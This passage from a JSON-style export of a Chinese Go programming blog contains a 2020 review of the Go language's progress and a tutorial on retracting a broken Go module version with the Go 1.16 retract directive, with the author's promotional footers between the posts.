可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/01/02/go-language-13-years/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-language-13th-anniversary-by-steve-francia.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自\u003ca href=\"https://www.infoq.com/articles/go-language-13-years/\"\u003e《Go Language at 13 Years: Ecosystem, Evolution, and Future in Conversation with Steve Francia》\u003c/a\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e译注：Go开源于2009年，如果从那时算起，\u003ca href=\"https://mp.weixin.qq.com/s/woQeEQUhOLJ7KSE5rm5q6g\"\u003eGo才11岁\u003c/a\u003e；但在Go核心开发团队眼中，Go的真正诞生年份是2007年，至今13个年头了。关于Go的演化简史可以参见我的专栏文章：\u003ca href=\"https://www.imooc.com/read/87/article/2320\"\u003e《Go语言的前生今世》\u003c/a\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本文要点：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.imooc.com/read/87/article/2321\"\u003eGo的简单性\u003c/a\u003e让你可以快速上手使用它–你可以在一个下午就消化掉整个\u003ca href=\"https://tip.golang.org/ref/spec\"\u003eGo语言规范\u003c/a\u003e；\u003c/li\u003e\n\u003cli\u003e作者认为Go是当今最好的现代语言之一（其他的还包括：Dart、Flutter和Rust）；\u003c/li\u003e\n\u003cli\u003eGo的未来是由它的开源社区决定的，它对所有的功能建议进行讨论和辩论。除非达成明确的共识，否则该功能不会被实现。\u003c/li\u003e\n\u003cli\u003e社区的规模大约每18个月翻一番。\u003c/li\u003e\n\u003cli\u003e最初，Go的早期采用者多来自python或ruby等动态语言的开发人员，现在随着语言的成熟，来自Java、.NET和C++程序员也开始接纳并使用Go。\u003c/li\u003e\n\u003cli\u003e在充满挑战的一年里，社区适应了相互支持，出现了多个meetup，并出现了新的资源。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cp\u003e编程语言的历史只朝着一个方向发展，每一种新的语言的出现都让事情都变得越来越复杂，越来越抽象。然而，就在十几年前，Go在Google诞生了。这种编程语言走的是另外一条路，它把赌注押在了简单和精心的设计和实现上。这个配方一直保留到今天，你可以直接开始写Go代码，没有太大的障碍。当你想到现代软件的大部分流行和可靠的作品都是用Go编写的，比如Docker、Kubernetes、Prometheus等，这就足以让你印象深刻。这个列表还在持续增加。为了了解Go从哪里来，更重要的是它要往哪里去，InfoQ联系了Google负责战略和产品的Go编程语言团队核心成员\u003ca href=\"https://github.com/spf13\"\u003eSteve Francia\u003c/a\u003e(译注：他也是知名静态站点生成工具\u003ca href=\"https://github.com/gohugoio/hugo\"\u003egohugo\u003c/a\u003e的作者)。\u003c/p\u003e","title":"Hugo作者、Go核心开发团队成员谈诞生13年的Go语言：生态系统、演化与未来[译]"},{"content":"\n2020，这一六十年一遇的庚子年的确“名不虚传”。在这一年发生了很多事，而最受瞩目的事情莫过于新冠疫情的全球大流行。疫情给全球的经济带来了近似毁灭性的打击，给人们的生命带来了极大威胁，给人们的生活也带来了很大痛苦及不确定性。好在这个糟糕的2020年马上就要过去了！相信此时此刻每个人心中都会有一句呐喊：“2020，快滚吧！”。\n然而肆虐的新冠疫情并没有阻挡住Go语言前进的坚实步伐。在这艰难的一年中，在Go核心开发团队和Go社区的齐心协力下，Go同样取得了不俗的成绩，甚至在2020年3月(那时Go 1.14版本刚刚发布不到一个月)，Go在TIOBE的编程语言排行榜中还一度挤进前十(而2019年同期，Go仅位列18位)：\n这恰说明Go语言的开发与推广工作得到了更多来自全球的开发者的认可。在这篇文章中，我们就来做一下2020年Go语言的盘点，看看在2020年围绕Go语言、Go社区和Go生态圈都发生了哪些有影响和有意义的事情。\n1. 面对大流行，Go核心团队给出“定心丸” 大流行始于2020年1月的武汉，但真正的全球大流行则大致始于2020年3月。面对新冠全球大流行，Go核心开发团队于3月25日作出反应，在官博发表文章《Go, the Go Community, and the Pandemic》，迅速调整了Go语言2020年的演进计划，给出了大流行期间的工作原则：\nGo始终排在诸如个人和家庭健康与安全之类的基本问题之后； 调整全年Go技术会议的计划，推迟或改为线上举办虚拟技术大会，为全球Gopher提供获取这些会议最新信息的渠道服务； 为在线培训师、Go职位发布提供便利服务； 为新冠病毒提供帮助工作台：https://covid-oss-help.org/； 调整Go工作计划，缩减Go 1.15中包含的新特性和改进，但会遵循Go 1.15的发布时间表；重点支持gopls、pkg.go.dev的演进和优化。 Go核心开发团队的这份声明虽然简短，但却给Go社区吃了一颗“定心丸”，为Go语言在2020新冠大流行年中的稳步演进确定了节奏，指明了方向，奠定了基础。\n2. Go在2020年值得关注的那些变化 2020一年，Go核心开发团队、社区和生态圈做了很多工作，但这里无法一一枚举，仅挑出一些重要的变化列在这里：\n2020年2月26日，Go 1.14版本发布。主要的变动点包括：\n嵌入接口的方法集可重叠； 基于系统信号机制实现了异步抢占式的goroutine调度； defer性能得以继续优化，理论上有30%的性能提升； go module已经生产就绪，并支持subversion源码仓库； 重新实现了运行时的timer； testing包的T和B类型都增加了自己的Cleanup方法。 2020年4月20日，发布2019年Go开发者调查结果：\n参与2019开发者调查的gopher数量几乎为2018年的2倍，达到10,975人； 大多数受访者每天都在使用Go，而且这个数字每年都有上升的趋势； Go的使用仍然集中在科技公司，但Go越来越多地出现在更广泛的行业中，如金融和媒体； 调查的大部分指标的同比值都很稳定； 受访者正在使用Go来解决类似的问题，特别是构建API/RPC服务和CLI，和他们工作的组织规模大小关系不大； 大多数团队试图快速更新到最新的Go版本；当第三方供应商迟迟不支持当前的Go版本时，就会给开发者造成采用障碍； 现在Go生态系统中几乎所有人都在使用go module，但围绕包管理的一些混乱仍然存在； 需要改进的高优先级领域包括调试、go module使用以及与云服务交互的体验改善； VS Code和GoLand的使用量持续增加；现在每4个受访者中就有3个首选它们。 2020年6月，vscode-go扩展(vscode上的go标准插件)将主代码库从github.com/microsoft/vscode-go迁移到github.com/golang/vscode-go，成为Go官方项目的一部分。\n同在2020年6月，pkg.go.dev网站开源！该网站是Go团队在Go社区建设方面做出的主要工作，开源后的pkg.go.dev将接收更多来自社区的想法和改进意见，比如：11月，pkg.go.dev就发布了新版页面设计；原godoc.org的请求也被重定向到pkg.go.dev(广大gopher可能需要一段时间来适应这种改变)。\n2020年8月，Go 1.15版本发布，其主要的变动点包括：\nGOPROXY新增以管道符为分隔符的代理列表值； module cache的存储路径可设置; 改善派生自原生类型的自定义类型变量在panic时的输出形式； 将小整数([0,255])转换为interface类型值时将不会额外分配内存； 加入更现代化的链接器(linker)，新链接器的性能要提高20%，内存占用减少30%； 增加tzdata包。 2020年11月初，全球最具影响力的Go语言技术大会GopherCon 2020在线上举行！Austin Clements详细讲解了Go 1.14加入的基于系统信号的抢占式调度器；Go语言之父之一的Robert Griesemer讲解了Go泛型当前的状态以及未来的计划。会后Russ Cox确认了Go团队将在Go 1.18版本中加入Go泛型(类型参数)作为试验特性；\n2020年11月10日，Russ Cox代表Go核心开发团队发文庆祝Go语言发布11周年，在文中他回顾了Go这一年来的收获以及对2021年Go 1.16和Go 1.17的展望。文中他还提到了GOPATH的历史使命即将结束，Go将开启全面module-aware模式的Go工具链时代！(下图来自推特)：\n2020年12月中旬，Go 1.16beta1发布。在Go 1.16中，Go将原生提供对Apple M1芯片(darwin/arm64)的支持；同时，在Go 1.16中go module将成为默认包依赖管理机制；Go 1.16还提供了支持在Go二进制文件中嵌入静态文件的官方原生方案，支持对init函数的执行时间和内存消耗的跟踪，链接器性能得到进一步优化等。\n2020年12月16日，gopls v0.6.0发布。同期，vscode-go也正计划将gopls作为默认语言服务器。\n3. Go语言当前的状态：已来到“稳定爬升的光明期” 今年笔者在知乎上滞留的时间比往年要长一些，看到很多人问与Go相关的一些问题，大致都是询问有关Go语言前景的，比如：\n2020年以后是Go语言的天下吗？ 2020年各个大厂内部Go语言开发环境是怎样的呢？有什么可以分享的经验吗？ Go语言前景如何？ 2021年后哪个后端编程语言会越来越流行？ 无论上述问题的题目有何不同，其本质的疑问都是“Go语言前景/钱景如何，值不值得投入去学习?”。那么是否存在一种成熟的方法能相对客观地描会出Go语言的发展态势并能对未来Go的走势做出指导呢？我想Gartner的技术成熟度曲线（The Hype Cycle）或许可以一试。\n我们知道Gartner的技术成熟度曲线又叫技术循环曲线，是企业用来评估新科技是否要采用或采用时机的一种可视化方法，它利用时间轴与该技术在市面上的可见度(媒体曝光度)决定要不要采用以及何时该种新科技，下面就是一条典型的技术成熟度曲线的形状：\n同理，将该技术成熟度曲线应用于某种编程语言，比如Go，我们就可以用它来判断该编程语言所处的成熟阶段以辅助决定要不要采用以及何时采用该门语言。我们从知名的TIOBE编程语言指数排行榜获取Go从2009年开源以来至今的指数曲线图，并且根据Go版本发布史在图中标记出了各个时段的Go发布版本：\n对比上面的Gartner成熟度曲线，相信你肯定有所发现。我们共同来解释一下：\nGo语言从2009年宣布开源以来，经历了两次“高峰”：一次是2009年刚刚宣布开源后，一次是在Go1.7~Go 1.9期间。显然，第一次的高峰实际上是一个“假高峰”，那时的Go连1.0版本都尚未发布，我们完全可以将其“剔除”掉。 从图中来看，Go语言的技术萌芽期是比较长的，从2012年的Go 1.0一直持续到2015年的Go 1.5； Go 1.5版本的自举以及Go垃圾回收延迟的大幅下降“引爆”了Go的“媒体曝光度”，Go技术的“期望膨胀期”开始，经历从Go 1.6到Go 1.9版本的发布后，业界对Go的期望达到了峰值； 从Go 1.10开始，Go似乎变得“仿徨”起来，原本期望Go“一统天下”的愿望没能实现，全面出击失败后，期望的落空导致了人们对Go产生了“功能孱弱劣势”的印象，于是Go在Go 1.11发布前跌到了“泡沫破裂”的谷底； Go 1.11引入了Go module，给社区解决Go包依赖问题打了一剂强心剂，于是Go又开始了缓慢的爬升； 从TIOBE提供的曲线来看，Go 1.12到Go 1.15版本的发布让我们有信心认为Go已经进入了“稳步爬升的光明期”。 到此，我相信知乎上的很多问题都应该迎刃而解了，剩下的只是如何学习Go的细节和如何Go进阶了。\n不过可能还有很多朋友会问，Go何时能达到实质生产高峰期呢？这个问题真不好回答。但进入了“稳步爬升的光明期”后的Go到达实质生产高峰期只是一个时间问题了，也许2022年初发布的支持Go泛型特性的Go 1.18版本会快速推动Go向更高阶段进发！\n4. 展望Go的2021：继续蓄力，迎接下一个“引爆点” 促使Go回到“稳步爬升光明期”的go module机制将在2021年年初正式发布的Go 1.16中成为默认包依赖管理机制。而Go 1.16版本也已经处于特性冻结并发布了beta1版本的阶段，其更多特性可以参考我的“Go 1.16新功能特性不完全前瞻”一文。\n将于2021年八月发布的Go 1.17的里程碑已经建立, 从里程碑的内容来看，已基本确定加入的功能特性和改进包括：\n针对x86-64的新的基于寄存器的调用约定（不破坏现有程序集！），这将使程序与主流语言的ABI模型保持一致，并且整体更快； 加入build指示器新语法：//go:build； 一个十多年前的issue被Go团队accept：使用**(*[4]int)(x)**语法将切片x转型为一个数组类型指针(*[4]int)。 当然Go 1.17还会持续优化链接器，更多功能特性和改进还待Go团队策划补充。\n而万众期待的Go泛型依然会继续打磨，从2016年Ian Lance Taylor提出“Go should have generics”的设计草案以来，Go泛型草案至今已经讨论了4年多了，这再次证明了Go团队对于这类会显著增加Go复杂性的特性是多么地“慎之又慎”。虽然Go团队初步确定了在Go 1.18版本中将Go泛型（类型参数）落地，但近期Go项目中关于Go泛型的主issue：proposal: spec: generic programming facilities中仍然有不少反对的声音。Go团队在**“继续保持Go简单”**的道路上真是任重道远啊！\n总之，2021年，Go将继续稳步爬升，也许爬的并没有那么快，但在我看来，这是在积蓄力量，等待着下一个引爆点。\n5. 小结 Go在新冠疫情大流行的历史时期依旧步行稳健，为下一个“引爆点”积极蓄力。Go在自己传统领域依旧存在明显优势，比如：企业级应用、基础设施、中间件、微服务API、命令行应用等，并且在这些领域取得了越来越多开发者的青睐。\nGo在其他领域也有“意外收获”，比如：在黑客工具领域，Go已经逐渐威胁着Python的龙头地位了，显然语法简单、原生并发、自带“电池”、轻松跨平台的编译以及编译为独立二进制文件的Go与黑客的需求十分契合。不过，在安全领域成为了进攻“武器”，这想必是Go设计者们所意料不到的。\n6. 福利！2020年本博客最受欢迎Go相关文章TOP10 Go新泛型设计方案详解 Go语言有哪些“劣势” Go，11周年 Go 1.16新功能特性不完全前瞻 Go 1.14中值得关注的几个变化 Go 1.15中值得关注的几个变化 像跟踪分布式服务调用那样跟踪Go函数调用链 系统学习Go语言，有这几本书就够了 通过实例深入理解sync.Map的工作原理 Go专栏“改善Go语言编程质量的50个有效实践”上线了 Gopher部落知识星球已正式转正了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折加入星球，下方图片扫起来吧，先到先得哦！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/30/the-2020-review-of-go-programming-language/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-2020-review-of-go-programming-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2020，这一六十年一遇的庚子年的确“名不虚传”。在这一年发生了很多事，而最受瞩目的事情莫过于\u003cstrong\u003e新冠疫情的全球大流行\u003c/strong\u003e。疫情给全球的经济带来了近似毁灭性的打击，给人们的生命带来了极大威胁，给人们的生活也带来了很大痛苦及不确定性。好在\u003cstrong\u003e这个糟糕的2020年马上就要过去了\u003c/strong\u003e！相信此时此刻每个人心中都会有一句呐喊：“\u003cstrong\u003e2020，快滚吧\u003c/strong\u003e！”。\u003c/p\u003e","title":"2020年Go语言盘点：新冠大流行阻挡不了Go演进的步伐"},{"content":"\nGo语言自诞生以来，一路走到今天已经经历了11个年头了。其包依赖管理机制也从无到有，从vendor演化成了如今的Go module。Go module从Go 1.11进入gopher们视野，到目前的Go 1.15，其改进和优化一直在持续。在即将到来的Go 1.16中，Go module将成为默认包依赖管理模式(即默认GO111MODULE=on)。但即便如此，我们在进行go module的实践过程中依然还会遇到一些“棘手”的问题，本文就将针对一个Go module实践中的具体问题做深入描述，并告诉你目前可用的最佳解决方案（也许在go module的后续演进过程中可能会有更好的解决方案或干脆消除掉这个机制上的问题）。\n1. 一不小心将一个处于broken状态的module发布了出去 人总是会犯错的，作为Go包/module的作者，我们偶尔也会出现这样的低级错误：将一个处于broken状态的module发布了出去。比如：bitbucket.org/bigwhite/m1是我维护的一个module(专为此文创建的公共go module)，它目前已经进化到v1.0.1版本了：\n// bitbucket.org/bigwhite/m1/main.go package m1 import \u0026quot;fmt\u0026quot; func M1() { fmt.Println(\u0026quot;This is m1.M1 - v1.0.1\u0026quot;) } m1这个module有两个消费者：c1和c2，它们依赖的也都是m1的v1.0.1版本：\n// c1的go.mod module github.com/bigwhite/c1 go 1.14 require bitbucket.org/bigwhite/m1 v1.0.1 // c1的main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;bitbucket.org/bigwhite/m1\u0026quot; ) func main() { fmt.Println(\u0026quot;This is c1\u0026quot;) m1.M1() } // c2的go.mod module github.com/bigwhite/c2 go 1.14 require bitbucket.org/bigwhite/m1 v1.0.1 // c2的main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;bitbucket.org/bigwhite/m1\u0026quot; ) func main() { fmt.Println(\u0026quot;This is c2\u0026quot;) m1.M1() } c1和c2所在的Go开发环境均使用下面的GOPROXY设置：\nexport GOPROXY=https://goproxy.cn,direct 我们用一幅示意图来描述当前的状态：\n以c1为例，构建并运行c1：\n// c1的module root目录下 $go build go: finding module for package bitbucket.org/bigwhite/m1 go: downloading bitbucket.org/bigwhite/m1 v1.0.1 go: found bitbucket.org/bigwhite/m1 in bitbucket.org/bigwhite/m1 v1.0.1 $./c1 This is c1 This is m1.M1 - v1.0.1 接下来，作为m1的作者，我犯了一个低级错误：将更新了的但却无法编译成功的m1打标签为v1.0.2发布了出去：\n// bitbucket.org/bigwhite/m1的m1.go package m1 import \u0026quot;fmt\u0026quot; func M1() { var a int // 编译器错误：a declared but not used fmt.Println(\u0026quot;This is m1.M1 - v1.0.2\u0026quot;) } // 在m1的module root目录下 $git commit -m\u0026quot;update m1 to v1.0.2(broken)\u0026quot; . [master af1dd21] update m1 to v1.0.2(broken) 1 file changed, 2 insertions(+), 1 deletion(-) $git tag -m\u0026quot;tag v1.0.2(broken)\u0026quot; v1.0.2 $git push --tag origin master Enumerating objects: 6, done. Counting objects: 100% (6/6), done. Delta compression using up to 8 threads Compressing objects: 100% (4/4), done. Writing objects: 100% (4/4), 492 bytes | 492.00 KiB/s, done. Total 4 (delta 1), reused 0 (delta 0) cTo https://bitbucket.org/bigwhite/m1.git 911bbc5..af1dd21 master -\u0026gt; master * [new tag] v1.0.2 -\u0026gt; v1.0.2 就这样，我一不小心将一个处于broken状态的module版本m1@v1.0.2发布了出去！此时此刻，m1的v1.0.2版本还仅存在于其源仓库站点上，即bitbucket/bigwhite/m1中，在任何一个GoProxy服务器上还尚无该版本的缓存。\n2. 发布处于broken状态的module对“消费者”的影响 依赖m1的两个项目c1和c2此时依赖的仍然是m1@v1.0.1版本，如未显式升级对m1的依赖，c1和c2的构建不会受到处于broken状态的module v1.0.2版本的影响。\n并且此时此刻，由于m1@v1.0.2尚未被GoProxy服务器所缓存，在GOPROXY开启的情况下，go list是查不到m1有可升级的版本的：\n// 以c2为例： $go list -m -u all github.com/bigwhite/c2 bitbucket.org/bigwhite/m1 v1.0.1 但如若绕开GOPROXY，那么go list则可以查找到m1的最新版本为v1.0.2(我们通过设置GONOPROXY来使得go list查询m1的源仓库而不是代理服务器上的缓存)：\n$GONOPROXY=\u0026quot;bitbucket.org/bigwhite/m1\u0026quot; go list -m -u all github.com/bigwhite/c2 bitbucket.org/bigwhite/m1 v1.0.1 [v1.0.2] 此时，如若某个m1的消费者在GOPROXY开启的情况下显式更新对m1版本的依赖，以c2如此操作为例：\n$ go get bitbucket.org/bigwhite/m1@v1.0.2 go: downloading bitbucket.org/bigwhite/m1 v1.0.2 # bitbucket.org/bigwhite/m1 /root/go/pkg/mod/bitbucket.org/bigwhite/m1@v1.0.2/m1.go:6:6: a declared but not used c2对m1依赖版本的显式更新，触发了GOPROXY对m1@v1.0.2版本的缓存，上述操作后，当前的状态如下示意图：\n这之后，其他m1的消费者，比如c1，便能够在GOPROXY开启的情况下查询到m1存在新版本v1.0.2，即使它是broken的：\n// 以c1为例： $go list -m -u all github.com/bigwhite/c1 bitbucket.org/bigwhite/m1 v1.0.1 [v1.0.2] 一旦broken的m1版本(v1.0.2)进入到Proxy的缓存，那么其“危害性”便“大肆传播”开了。此时module m1的新消费者都将受到影响！比如这里我们引入一个新的消费者c3(同样设置GOPROXY为goproxy.cn)：\n// c3的main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;bitbucket.org/bigwhite/m1\u0026quot; ) func main() { fmt.Println(\u0026quot;This is c3\u0026quot;) m1.M1() } c3的首次构建就会报错：\n// c3下： $go build go: finding module for package bitbucket.org/bigwhite/m1 go: found bitbucket.org/bigwhite/m1 in bitbucket.org/bigwhite/m1 v1.0.2 # bitbucket.org/bigwhite/m1 /root/go/pkg/mod/bitbucket.org/bigwhite/m1@v1.0.2/m1.go:6:6: a declared but not used 下面是当前问题的最新状态图：\n3. 如何作废掉已发布的那个module版本 如果在GOPATH时代，废掉一个之前发的包版本是分分钟的事情，因为那时包消费者依赖的都是latest commit。包作者只要fix掉问题、提交并重新发布即可。\n但是在go module时代，作废掉一个已经发布了的go module版本，还真不是一件能轻易做好的事情。这很大程度是源于大量Go module代理服务器的存在。下面我们来看看可能的问题解决方法：\n1) 重新发布broken的module版本 要解决上述问题，Go包作者们的一个很直接的解决方法是：重新发布broken的module版本。但这样做真的能生效么？\n如果所有m1的消费者都通过m1所在代码托管服务器(bitbucket)获取m1的特定版本，那么这种方法还真能解决掉这个问题。m1的作者仅需删除掉远程的tag: v1.0.2，在本地fix掉问题，然后重新tag v1.0.2并push发布到bitbucket上的仓库中即可。这样，对于已经get到broken v1.0.2的消费者来说，只需清除掉本地的module cache(go clean -modcache)，再重新构建即可；对于m1的新消费者，直接得到的就是重新发布后的v1.0.2版本。\n但现实的情况时，Go在1.13版本中就将GOPROXY的默认值设置为https://proxy.golang.org,direct了，国内我们通常使用七牛云的代理：goproxy.cn。因此，一旦一个module版本被发布，当某个消费者通过其配置的goproxy获取该版本时，该版本就会在短时间内被缓存在对应的代理服务器上。后续通过该goproxy服务器获取那个版本的m1时，请求不会再回到m1所在的源代码托管服务器，这样即便m1的源服务器上的v1.0.2版本得到了重新发布，那么散布在各个goproxy服务器上的broken v1.0.2依旧存在，并且被“传播”到各个m1消费者的开发环境中，而重新发布后的v1.0.2版本却得不到“传播”的机会：\n因此，从消费者的角度看，m1的v1.0.2版本依旧是一个broken的版本，m1作者的解决措施无效！\n很多人问，即便m1的作者删除了v1.0.2这个发布版本，各大goproxy服务器上的broken v1.0.2版本是否也会被删除呢？遗憾的告诉你：不会。\nGoproxy服务器当初的一个设计目标就是尽可能的缓存更多包/module。即便某个module的源码仓库都被删除了，这个module的各个版本依旧缓存在goproxy服务器上，这个module的消费者依然可以正常获取该module并顺利构建。因此，goproxy服务器当前的实现都没有主动删掉某个module缓存的特性。\n2) 发布module的新patch版本 面对上述问题，Go社区当前的最佳实践就是发布module的新patch版本。以上面m1为例，我们废除掉v1.0.2，在本地修正问题后，直接打v1.0.3标签，并发布push到远程代码服务器上。这样整体状态就变成了下面示意图中样子了：\n对于依赖m1@v1.0.1版本的c1，在未手工更新依赖版本的情况下，它仍然可以保持成功的构建； 对于m1的新消费者，比如c4，它首次构建时使用的就是m1的最新patch版v1.0.3，成功跨过了作废的v1.0.2并成功完成构建； 对于之前曾依赖v1.0.2版本的消费者c2来说，此时需要手工介入才能解决问题。我们在c2环境手工升级依赖版本到v1.0.3，这样c2也会得到成功构建。 4. Go 1.16增加retract指示符用于标识作废的module版本 上述的发布module的新patch版本的解决方法其实仍存在两个问题：\n消费者如何发现m1发布了v1.0.3？ 消费者如何知晓m1的作者将v1.0.2版本作废掉了？ 根据前面的描述，如果尚无消费者手工下载v1.0.3，那么proxy server上不会有v1.0.3版本的缓存，在本地通过go list -u -m all 也查不到v1.0.3的存在，除非是在设置GONOPROXY=bitbucket.org/bigwhite/m1前提下的go list查询。\n另外在go 1.15及以前版本中，Go原生并没有提供标识某个版本作废的机制，在Go 1.16中，module的作者可以在自己module的go.mod中使用retract指示符标识出哪些版本为作废的，不推荐使用的。语法形式如下：\n// go.mod retract v1.0.0 // single version retract [v1.1.0, v1.2.0] // closed interval 我们还用m1为例，我们将m1的go.mod更新为如下内容：\n//m1的go.mod module bitbucket.org/bigwhite/m1 go 1.16 retract v1.0.2 将其放入v1.0.3标签中并发布！现在m1的消费者c2要查看m1是否有最新版本时，可以查看到以下内容(c2本地环境使用go1.16版本)：\n$GONOPROXY=bitbucket.org/bigwhite/m1 go list -m -u all github.com/bigwhite/c5 bitbucket.org/bigwhite/m1 v1.0.2 (retracted) [v1.0.3] 从go list的输出结果中，我们看到了v1.0.2版本上有了retracted的提示，提示该版本已经被m1的作者作废了，不应该再使用，应升级为v1.0.3。但retracted仅仅是一个提示作用，并不影响go build的结果，c2环境(之前在go.mod中依赖m1的v1.0.2)下的go build不会自动绕过v1.0.2，除非显式更新到v1.0.3。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！78元简直就是白菜价，简直就是白piao! 欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/26/how-to-deprecate-a-published-version-of-some-specific-go-module/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-deprecate-a-published-version-of-some-specific-go-module-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eGo语言自诞生以来，一路走到今天已经\u003ca href=\"https://mp.weixin.qq.com/s/woQeEQUhOLJ7KSE5rm5q6g\"\u003e经历了11个年头了\u003c/a\u003e。其包依赖管理机制也从无到有，从\u003ca href=\"https://mp.weixin.qq.com/s/ZbPvC0bR5H4a3-k2BFLC1w\"\u003evendor\u003c/a\u003e演化成了如今的\u003ca href=\"https://tonybai.com/2019/12/21/go-modules-minimal-version-selection/\"\u003eGo module\u003c/a\u003e。Go module从\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11\"\u003eGo 1.11\u003c/a\u003e进入gopher们视野，到目前的\u003ca href=\"https://mp.weixin.qq.com/s/B5onfyP7BPYCh_rMSBtfcQ\"\u003eGo 1.15\u003c/a\u003e，其改进和优化一直在持续。在即将到来的\u003ca href=\"https://mp.weixin.qq.com/s/JzAQ3r9lDBad8PO6iAerqw\"\u003eGo 1.16\u003c/a\u003e中，Go module将成为默认包依赖管理模式(即默认GO111MODULE=on)。但即便如此，我们在进行go module的实践过程中依然还会遇到一些“棘手”的问题，本文就将针对一个Go module实践中的具体问题做深入描述，并告诉你目前可用的最佳解决方案（也许在go module的后续演进过程中可能会有更好的解决方案或干脆消除掉这个机制上的问题）。\u003c/p\u003e","title":"如何作废一个已发布的Go module版本，我来告诉你！"},{"content":"本文翻译自马可·凯瓦克（Marko Kevac）的《BPF and Go: Modern forms of introspection in 